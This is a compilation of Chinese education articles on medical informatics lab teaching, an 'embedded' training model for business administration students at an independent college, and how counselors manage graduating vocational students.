[5]骆斌、张大良、邵栋.软件工程专业的课程体系设计[J].中国大学教学，2005（1）

[6]潘洪军.高校计算机专业课程结构体系构建的思考[J].现代教育科学，2005（4）

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实验教学计划缺乏医学特色，教学目标不明确医学信息学是一门将医学知识和信息知识有机融合的新学科，在本学科教学课程体系、教学内容、教学计划、教学目标等各个教学环节的设置上都应该以医疗卫生的专业需求为导向，认识、分析、讨论并进一步发展信息和信息处理的基础理论。当前大部分医学院校在制定医学信息学方向课程体系、教学计划和教学目标时，过分借鉴于传统工科院校的信息管理与信息系统等相关专业的教学体系［5］，很少根据本校医学特色制定实验教学计划，更无法发挥附属医院等实验教学基地的医学临床实践优势。这种没有特色的实验教学常常让学生感到教学目标不明确。缺乏对学生创新精神的培养医学信息学方向的学生要掌握必要的信息知识和技能，只掌握基础理论、基本知识是不够的。医学信息专业学生在今后的职业生涯中要做到可持续发展，必须不断吸收更多的知识和技能，这就要求学生必须具备创新精神和自主学习的能力［6］。传统的实验课程都是由老师指定题目，学生完成研究论文或系统开发，实验课内容多以验证型实验为主，综合性、设计性的实验较少。传统的专业实验教学使学生没有机会接触真实的工作环境，更无法体会借助所学知识和技能发现并解决工作中存在的问题和提出改进建议的成就感，实践能力、创新能力更无法得到培养。学生对实验教学在就业中的作用重视不够我们对医学信息学方向的在校学生和毕业生在就业和就业状况的调查结果发现［4］，50%选择毕业后升学深造(侧重为医学信息学理论研究工作)，14．2%选择在医学信息专业领域从事卫生信息系统的管理与维护工作，15．5%认为就业岗位可以与医学信息学方向不相关;在期望的工作岗位具体内容方面，行政管理和科研教学占55．1%，系统研发和技术服务占44．9%;从医学信息学方向毕业生的实际就业状况看，毕业生在医学相关部门从事信息管理、计算机系统维护、病案管理的占67．2%，从事信息技术与医学融合研究的占22．3%。这说明，大部分医学信息学方向毕业生在就业后还是以实践技术工作为主，应用实践能力是学生就业成功与否的重要因素。而对实践能力培养的重视程度与实际就业需求的偏差，造成在校生对实验课重视程度不够，将绝大部分学习精力和时间放在理论课程的学习环节上，而忽视了对自身实践能力的培养。

实验课程体系设置连贯系统在制定实验课程时要体现出培养应用能力的目标。实验教学体系的建立应立足于信息处理与计算机相融合的综合应用能力的培养，所以在课程体系设置上需要特别加强计算机知识和管理知识相结合的实验课程。如何使相关实验课程环环相扣并相互渗透是实验教学体系建设要考虑的重要问题［7］，要特别重视综合实验类课程的设置。比如在医院信息系统实验教学过程中，在设置多个实验内容时，不再只是某种技术或工具的不同，或仅仅涉及医院管理的某个环节或方面，而应以医院信息管理理论课程为基础，以计算机技术类实验课程为依托，以软件开发型实验为主要形式，使实验课程的展开围绕医院信息系统这一个主题，实现多门相关课程的综合应用，使学生能从医院信息系统的总体角度来学习计算机技术与管理技术的融合，使学生的能力训练获得实质的提高。综合学生兴趣、就业市场需求、专业特色等因素，设置多元专业方向不同的工作岗位对同一专业人才的需求是不同的，比如有些岗位要求学生能够承担病案管理和系统管理，有些岗位要求学生能够承担医学情报分析和医学信息统计。专业教育需要培养学生适应不同职能领域、不同岗位、不同层次工作需要的能力，所以在实验教学过程中应该考虑多元专业方向的培养，可通过设置多元专业方向的实验课程来实现。如程序语言设计、软件工程、数据库、数据结构等实验课程可使学生掌握常用系统开发技术，培养学生信息系统研发和维护能力;信息组织、信息检索、信息分析等实验课程可培养学生将先进管理思想应用于信息系统，帮助学生具备信息系统管理的能力。

在专业实验教学过程中，学生可根据自身兴趣特长和将来的求职意向选择合适的专业方向。设置多元专业方向的实验课程培养学生多元的专业能力，要基于医学背景设置专业内容，使医学院校信息管理学教育具有自己的特色。在课程中设置不同的研究方向指导学生的学习，给学生创造更加广阔的学习空间，使学生的个性得到发展，提高学生的学习热情和主动性，开阔视野，适应市场对人才的多样化需求。并结合当前专业学科发展的动态，适时调整实验教学内容以适应就业岗位对专业人才需求的变化。给学生提供更多接触实际工作的机会可安排学生参与网络中心、信息研究所、图书馆、附属医院等部门的工作，重视实验背景的真实性，让学生尽早熟悉实际工作环境中将会遇到的各种问题，并培养其解决问题的能力。实验内容的设置也可与学生的就业和毕业论文相联系，以便使学生既能体会实验课的重要性，又能为后续的知识和技能的综合应用和科研打好基础，提高学生对实验课程的学习积极性。加强师资培养目前医学信息学专业的实验指导教师大都由计算机专业或情报专业教师担任，具有医学信息学背景的教师比较缺乏，直接影响到专业实验教学的效果。因此，要加强实验课程的授课效果，特别要加强实验指导教师的医学信息学专业实践能力。可定期选派专业教师到医院信息科等实际工作环境锻炼，选拔有潜力的青年教师到科研单位实践进修。另外，还可引进一批具有相关丰富工作经验的专业技术人员，作为实验教学师资保障。

作者：司莹莹 于微微

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独立学院的工商管理专业具有专业面宽、应用性强、需求面广的特点，面临着比其他工科专业，甚至比管理类其他专业还严峻的市场挑战。因此，以工商管理专业人才培养模式改革为试点，探讨独立学院管理类专业人才培养模式的进一步创新，不仅有利于工商管理类专业学生提高其自身的就业竞争力和发展潜力，而且可以为独立学院其他专业的教学改革提供借鉴。

一、嵌入式系统和嵌入式培养模式

嵌入式系统是以计算机技术为基础、以应用为中心、软硬件可裁剪并且对系统的功能、可靠性、成本、体积、功耗等要求严格的专业计算机系统，是一种“嵌入到对象体系中的专业计算机系统”。它是源于通用计算机系统，但又不同于通用计算机系统的一种新型专用计算机系统，其专用性、嵌入性和计算机系统性的特征，使它具50有通用计算机系统无可比拟的对象智能化控制能力。

独立学院人才培养与母体院校人才培养之间的关系，如同嵌入式系统与通用计算机系统之间的关系。因此，促成“嵌入式系统”快速发展的三个特征，对独立学院人才培养模式的形成有较强的借鉴意义。

1. 以细分的市场需求确定独立学院的人才培养目标专用性是嵌入式系统的一大特征。正是这一特征，使嵌入式系统源于通用计算机系统，却有别于通用计算机系统。该系统成功的奥秘就在于它以市场需求为导向进行产品设计，找到了细分的市场，而且与通用计算机系统实现了友好互补，满足了市场需求。独立学院源于母体的本科院校，在专业设置上与母体存在极大的重复性。如何找到独立学院人才的市场定位，确定培养目标，使独立学院培养的人才既不同于母体又适应市场的需要？这就需要进行人才的市场细分与定位。

2. 以集成的系统思维设计独立学院的人才培养模式嵌入性是嵌入式系统得以将先进的计算机技术嵌入到具体对象中的技术关键。如果没有高度集成的技术知识系统，只是设备、技术的简单叠加，就不可能将具备电脑功能的软硬件，镶嵌到许多体积很小的家用电器以

及其他高科技产品。同样的，虽然市场对独立学院的学生素质有各种要求，但由于学生学习的期限、精力有限，学校不可能将所有的要求均通过课堂的课程予以解决。这就需要学校领导、老师以集成的系统思维，将对学生的素质要求镶嵌在人才培养的各个环节，而非仅仅通过设置专门的课程予以解决。

3.以科学的保障体系确保独立学院的人才培养规格不具备计算机系统的控制系统，就难以实现对对象系统的智能控制。因此，计算机系统是嵌入式系统能够在系统控制应用方面替代通用计算机系统，并成为与通用计算机系统并行发展的新型系统的先决条件。独立学院的办学资源和生源条件虽然有别于其母体高校，但独立学院作为培养本科生的属性不能被改变，否则，学生的可持续发展就会受到影响。

上述三点思路源于“嵌入式系统”的设计理念，因此，我们把由此形成的人才培养模式，称之为“‘嵌入式’培养模式”。

二、“嵌入式”培养模式的设计

按照“嵌入式”培养模式设计的思路，独立学院工商管理专业人才培养模式的设计，可以从以下两方面展开：

1. 工商管理专业人才培养目标的确定

确定独立学院人才培养目标时，应考虑如下因素：一是人才培养目标必须与地方经济发展相适应，必须考虑人才供求体系中独立学院可占据和渗透的空间。为了满足区域经济和有色金属、钢铁行业对我院所培养人才的多样化需求，我院工商管理专业的人才培养目标应定位在科学技术的转化及知识的运用层次，即基层经营和管理人员层次；二是人才培养目标必须与母体高校的历史积淀、学科优势、办学特色相统一，并与独立学院自身的资源条件相适应。我院母体学校江西理工大学是一所有着52年本科办学历史，具有鲜明矿业、冶金、材料特色，主要为我国有色金属、钢铁行业服务的多科性大学。该校毕业生以“为人诚实、基础扎实、工作踏实”的“三实特点”广受社会称赞。这样，我院工商管理专业人才培养目标的定位，既要努力秉承母体学校的光荣传统，着力培养广受社会欢迎的“三实人才”，又要考虑独立学院的实际情况，与母体学校的工商管理专业形成错位发展；三是人才培养的目标定位必须适应它所面对的生源基础。由于独立学院考生的入学分数往往比普通本科学生低40-50分，相对来说，他们的基础更弱，但接受能力、创新精神、环境适应性等并不差。这样，在培养目标定位时就更需要针对学生的兴趣、性格、职业规划来分模块选择课程，做到量体裁衣，因材施教。

基于这些因素，我院工商管理专业人才培养的目标定位为：培养具备企业管理方面知识和能力，能在企事业单位及公共管理部门从事现场经营管理、员工培训、管理咨询等工作的高级应用型专门人才。

2. 工商管理专业人才培养方案的确立

为实现上述培养目标，按照集成的系统思维，工商管理专业的人才培养方案应围绕“模块教学、证书导向、校企结合”的体系进行设计，将对工商管理专业人才所要求的专业素质、职业技能系统地穿插在四年的教学中。

(1) 模块教学。按照细分的市场定位要求，我院工商管理专业人才的主要服务面向是基层经营管理人员，尤其要考虑更多的学生可能面向矿业、冶金企业就业，或者在这些领域创业，这就要求我们必须设置若干个模块供学生进行选学。为此，我们构建了“生产运营管理模块'“人力资源管理模块财务管理模块市场营销模块企业发展与创新模块创业模块基础公务员考试课程模块”等7个模块的教学计划。同时，设置了若干门有关矿业、冶金概论的课程，供学生选修，以增加行业专业背景知识。

各模块的课程设置涵盖大学四年的全过程，由各模块导师针对不同年级、不同学生的实际情况，指导学生进行职业生涯规划，选择相应的模块进行学习。

(2) 证书导向。证书导向是以集成的系统思维，将学生所学课程集成到职业资格证书考试的过程。这是突出独立学院培养实务型现场经营管理人员的具体体现，也是衡量人才培养目标是否达到本科规格要求的其中一个标准。引导学生从大三开始根据自身选择的知识模块，报考相应的职业资格证书，将“基础知识学习——岗位能力培养——职业资格证书培训”三项内容融为一体，实现实务技能培养与职业证书集中培养有机结合，从而提高学生的就业竞争力。该专业学生所报考的职业资格证书主要有：助理人力资源师、助理物流师、内部质量审核员、报关员及报检员、会计从业资格证等职业资格证书。

(3) 校企结合。校企结合是整个人才培养模式改革得以实现的重要条件。人才培养目标、方案的设计需要企业的积极参与；实务型人才的培养以及实践性环节的完成需要企业的大力支持和热心参与；学生的就业还需要得到企业的认可。因此，校企结合应贯穿于人才培养过程的始终。

三、“嵌入式”培养模式在工商管理专业的实践

按照以上培养目标和培养方案，我院在2007级工商管理专业学生中开始了“嵌入式”培养模式的试点工作。

1.实施条件

“嵌入式”培养模式特别强调人才的培养要以人才市场需求为导向，要将市场对人才的各种素质要求集成到人才培养的各个环节，因此，学生的实践能力是考核“嵌入式”培养模式是否取得成效的关键。实践能力的培养和提高需要相应的实践平台，为此，我院集中力量搭建了校内外两个重要的实践平台。

(1)校内实践平台。为提高学生的实践动手能力，我们通过局域网整合企业经营ERP沙盘模拟实验室、证券投资模拟实验室、创业投资分析模拟实验室、财会模拟实验室、国际贸易电子交易平台等10多个实验室，构建了院内综合实训教学体系，模拟企业生产经营环境，形成公司与公司之间的交易与竞争。由不同模块学生模拟企业不同经营环境，担任不同职业角色，代表不同企业经营管理者的身份，体验商业竞争的激烈性。

通过校内实践平台的模拟实验，学生能以企业的生产部、供应部、销售部、仓库、财务部等部门为一个整体，从整个资金流、物流、信息流之间的关系为出发点来学习和体验。还可以体验到每一笔经济业务从物流的采购或销售开始，到资金流的应收应付款，再到物流的库存、存货，最后形成资金流的总账报表。除此之外，还可利用银行、税务岗位以及海关报关、报税等环节，学会如何与银行、税务、海关打交道，真实模拟企业的实际运行过程和经营环境。

(2)校外实践平台。校企合作是母体学校江西理工大学的一大优势，这为我院通过院企合作打造校外实践平台提供了有利的条件。近年来，学院先后与江西铜业公司、福建马坑铁矿、赣州启德家电集团公司、深圳人人乐商业集团公司等签署了全面合作协议，采用“3+1”和“2.5+1.5”等灵活的培养模式，为企业培养急需人才。同时，企业也为学院提供了难得的实习、实训和社会实践机会。迄今为止，本院工商管理专业已建立了5个相对稳定的校外实践基地，与46个企业建立了良好的合作关系。

2.实施过程

从2007级学生入学开始，我们即按本培养方案分四年进行试点工作。

(1) 第一学年，了解新知识。通过基础理论知识的学习，达到了解新知识的目的。2007级工商管理专业从大一开始根据学生的特点进行学生群体细分，引导学生正确地进行职业生涯规划和知识模块选择，以确保模块教学目标的实现，从而促进学生专业能力的全面提高。

(2) 第二学年，由了解知识到掌握知识阶段。大二阶段进入专业技术和专业基础理论的学习，在理论教学中贯穿了专业课程设计、社会调查等实践环节。同时，利用第二课堂、兴趣小组等形式，引导学生到ERP沙盘模拟实验室和投资管理实验室训练，并参加“用友杯”ERP沙盘模拟对抗赛和挑战职场创业大赛。

(3) 第三学年，由掌握知识阶段转变为能力提升阶段。大三阶段是专业知识学习和实践能力的大提升、大演练阶段，将“校企结合一证书导向一模块教学”三项内容融为一体，对学生进行分类、分层次、分知识模块教学，其中一学期在校内学习，另一学期在企业实践。根据学生的特点，引导一部分学生在校内学习专业理论知识的同时，参加相应模块知识职业资格证书的考试；另一部分学生利用校外实践平台到企业实践，如到人人乐商业集团、赣州启德家电等企业进行为期一学期的实践学习，使模块知识、实务技能培养与职业资格证书培养相结合。

(4) 第四学年，专业模块知识的深化学习阶段。 大四阶段一学期在校内学习，另一学期在企业实践。同学们把实践中遇到的问题带到校内进行深化学习，将实践中遇到的问题进行理论分析和探讨。在校内一学期的专业理论知识学习中，还贯穿了企业模拟招聘和企业模拟经营等综合性实训环节，以提高学生的实际应用能力。另一学期由学生到相关企业进行毕业实习，并完成毕业论文或毕业设计，将理论与实践进一步紧密结合。

为确保教学效果，完善学生的培养体系，我们对每一个学生实行跟踪管理，从大一开始为每一个学生建立个人档案，包含有学生各学年的职业规划、选择的模块课程及个人成长卡，通过这样的跟踪管理来确保本科教学水平，实现学生知识体系的动态调整。

3. 初显成效

通过近四年的实践，我们感到，“嵌入式”培养模式在我院工商管理专业的试点是比较成功的，已取得初步成效：

(1) 激发了学生的学习兴趣。按照面向对象的要求，将企业对工商管理专业人才素质和技能要求，在四年的培养方案中分别予以体现并且付诸实践，使每一阶段的课程体系中都有相当数量的实践教学环节。实践性环节教学，极大地激发了学生的学习兴趣，使相当一部分学生从被动学转为主动学，学生的到课率也相应提高。

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一、准确分析把握毕业生的心理状态

在“正德厚生”的办学理念和教育思想的熏陶下，经过二年多系统专业学习和思想教育，大三的学生已经适应大学学习和生活。但是由于民办职业技术学院生源问题，造成学生入学成绩相差较大，在其兴趣、爱好、学习动力、意志、性格、品质、人生态度等非智力因素方面存在较大差异，重点反映在自控、自律能力不同，学习成绩以及生活、社会工作等各个方面都有明显的差别。在相当一部分同学中流传“一年级玩玩，二年级看看，三年级干干”这么一种说法，反映出学生思想不成熟和没有责任感。大三毕业班学生真实的思想动态比较复杂，一方面感到不能再混了，想老老实实“干干”，要抓紧完成学业，取得毕业文凭；另一方面对自己走上社会的思想准备不足，很多学生感到“郁闷、迷茫”，处在一种焦虑、犹豫、自卑、不满、无法决断的矛盾状态，内心十分痛苦。“郁闷”情绪在成绩不理想的同学中反映强烈。主要问题是功课没有完成，“还有这么多学分需要重修，毕业证书可能拿不到”，有压力。“迷茫”情绪主要反映在成绩较好的同学中。“转眼就要结束大学生活，是工作，还是升学继续深造”？犹豫不决。大多数同学，看到他人陆续出去找工作，自己也随大流参加招聘会。招聘现场人山人海，密密麻麻，面临严峻的就业形势，求职不知所措，怀疑自己“将来能够做什么，能胜任什么，能不能做好”？这些思想和实际状态给我们毕业班学生管理工作带来新课题。毕业班辅导员绝不能满足一、二年级积累的管理工作经验，而是要提出更高的工作要求，最重要的是分析、把握学生的心理状态，有针对性开展教育工作，帮助学生圆满完成学业，同时指导学生树立正确的职业道德观，保持良好的择业心态和心理素质，为毕业生顺利走向社会，尽快成长成才提供帮助。

二、扎扎实实抓好几个重点环节，为毕业生顺利毕业铺平道路

针对毕业班学生情绪变化大，思想波动大，容易产生许多焦虑和矛盾的特点，从加强毕业生思想政治教育和管理工作的科学性、系统性、预见性、主动性的要求出发，根据实践经验，我认为应紧紧抓住四个重点环节来做好毕业班学生管理工作。四者环环相扣，每一个都不可或缺，一旦一个环节出问题，必然影响全局。

1．明确毕业班基本工作内容

毕业班基本工作内容主要有两方面。第一，学生的思想政治教育、管理、安全、校风学风建设和其他工作。要深入研究学生思想动态及其规律，有针对性地做好思想政治教育工作；保证正常的教学生活秩序；加强对学生的安全法制教育；教育学生明确学习目的，端正学习态度，培养科学学习方法及优良学风。第二，《辅导员工作指南》规定的毕业班工作流程，如：开学报到；学生证注册；欠费催缴及办理学费缓交手续；指导学生填写《学年思想道德评定表》，并归入学生档案；办理年度助学贷款申请和勤工助学岗位申请；启动年度评优评奖和省政府奖学金评定工作；结合期终考试进行“诚信考试”教育；放假前后的安全教育；办理毕业生实习手续；“专转本”考试准备工作；指导填写毕业生登记表；做好毕业前评优评奖工作；毕业生文明离校教育；毕业生档案整理、移交等等。这些是最基本的岗位职责和日常管理工作，必须扎扎实实认真做好。

2．督促部分毕业班学生及时完成课程重修

毕业前重修是毕业班管理工作的重要环节。经过两年多的学习，大多数同学都能顺利完成本专业教学计划规定的学习任务。但是仍然有30%左右的学生因为“玩玩、看看”而影响学业，造成部分课程需要重修。学院《学籍管理细则》第二十九条第八款规定：“在校学习期间经补考或重修（重做）后不及格的必修课程和实践性教学环节累计达36学分以上（含36学分）者”作退学处理。重修课程较多的同学思想和学习压力都很大，他们想努力赶上，办理重修（重做）手续，与同学们一起顺利地完成学业。因此，在这个重要时候，很需要老师指导和帮助。这里主要有如下一些工作必须做好：

（1）做有心人，统计每一位学生需要重修的科目和重修方式，做到心中有数，而且可以让学生自己统计，做到心里有数。同时及时提醒学生，督促完成重修。

（2）及时向学生、学生家长、系领导汇报学生学习状况，引起各方面重视。

（3）与学生一起制定重修计划，合理分配学习时间，有计划地分段把握重点，循序渐进，顺利完成重修。

落实以上各项工作，讲起来容易，其实是漫长、细致、艰辛的过程，可能从大三开学前就要分析这类学生的情况，分类帮教、分层指导。这是我们教育工作者应尽的职责，需要我们每个老师满腔热忱、认真细致地做好工作。

3．加强毕业实践过程的管理

毕业实践是教学过程中的另一个重要环节，是实现培养目标要求的重要阶段，也是学生在校期间完成专业人才基本训练的最后学习阶段。它既是学生学习与实践成果的全面总结，又体现了对学生素质和综合能力的检验，同时还是对学生毕业资格认证的重要依据之一。每年春节过后，毕业生全部转入毕业实践，80%的学生要到校外实习，提前进行职业热身，操练求职技巧，熟悉社会，确定预期的（初次）就业。这里必须做好以下几方面工作：

（1）建立台帐，清楚每位同学实习单位，并办理好相关离校手续。

（2）落实毕业论文课题，并根据每个学生的特点，协助指导教师及时调整论文的课题和研究方向。

（3）跟踪学生动向，提醒他们尽早完成毕业论文，并努力提高论文的质量和水平。

（4）提前收齐毕业论文，通知学生做好答辩的准备工作。

辅导员一定要注意提醒学生处理好毕业论文、就业、实习（实践）三者关系。趁着实习（实践）刚刚开始事情不多的时候，应该尽早完成毕业论文的全部准备工作，否则等到实践后期就业完全展开，多半没有精力更没有心思去完成毕业论文，或者影响论文的质量和水平。就业是一件不仅劳力而且更加劳心的工作，有的同学忙于联系就业，无暇顾及论文写作，敷衍了事或网上下载应付毕业论文，造成答辩不及格或勉强及格的后果，直接影响到就业和毕业，因此非常需要老师的指导和帮助。为此，我们必须把工作做实做细，保证不让一个同学“掉队”。

4．指导毕业前择业准备

择业是每个人所面临的重大抉择，尤其对于大学生来说，是人生的重大转折。大学生作为有高智商、高文化、高自我价值期望的群体，其理想与追求自然有明确的目的性。他们面临着更多的机遇、也面临更严峻的挑战，当然也面临着更大的心理压力与冲突。作为心理素质“高危人群”的大学生，在就业过程中，产生心理问题是很普遍的，也是可以理解的。“迷茫”是最典型的心理问题。成绩优秀的学生经常说：离毕业越近，越迷失方向。这时候是继续读书？还是找工作？同样需要老师指导。帮助他们准确定位、摆正心态、提前热身、掌握就业准备的方法和技巧等等，由就业指导课专业老师来详细讲授。但是辅导员也应当多了解一些择业前该准备的内容，为同学做一些积极、有意义的引导。

这里主要有：

（1）了解本届毕业生就业形势，告诫学生改变观念，合理定位，尽快落实工作单位。

（2）了解收集就业信息的主要渠道，充分利用毕业生就业主管部门、各级政府主管部门和就业指导机构、师长和校友、家长和亲友、社会实践和毕业实习单位、各类职业双向选择和招聘活动、新闻媒体、网络等渠道鼓励学生就业。利用老师的社会阅历和生活经验，帮助学生对收集的就业信息进行科学鉴别，避免落入“求职陷阱”。

（3）了解择业时学生应排除的心理干扰，主要是盲目自信心理、自卑畏惧心理、急功近利心理、患得患失心理、依赖心理。有针对性地引导毕业生正确对待求职过程中遇到的挫折和失败，增强自我调控能力，正确把握形势，客观认识现实，找出择业受挫原因，总结失败的教训，调整好自己的择业期望，以积极主动的良好心态重新选择工作岗位。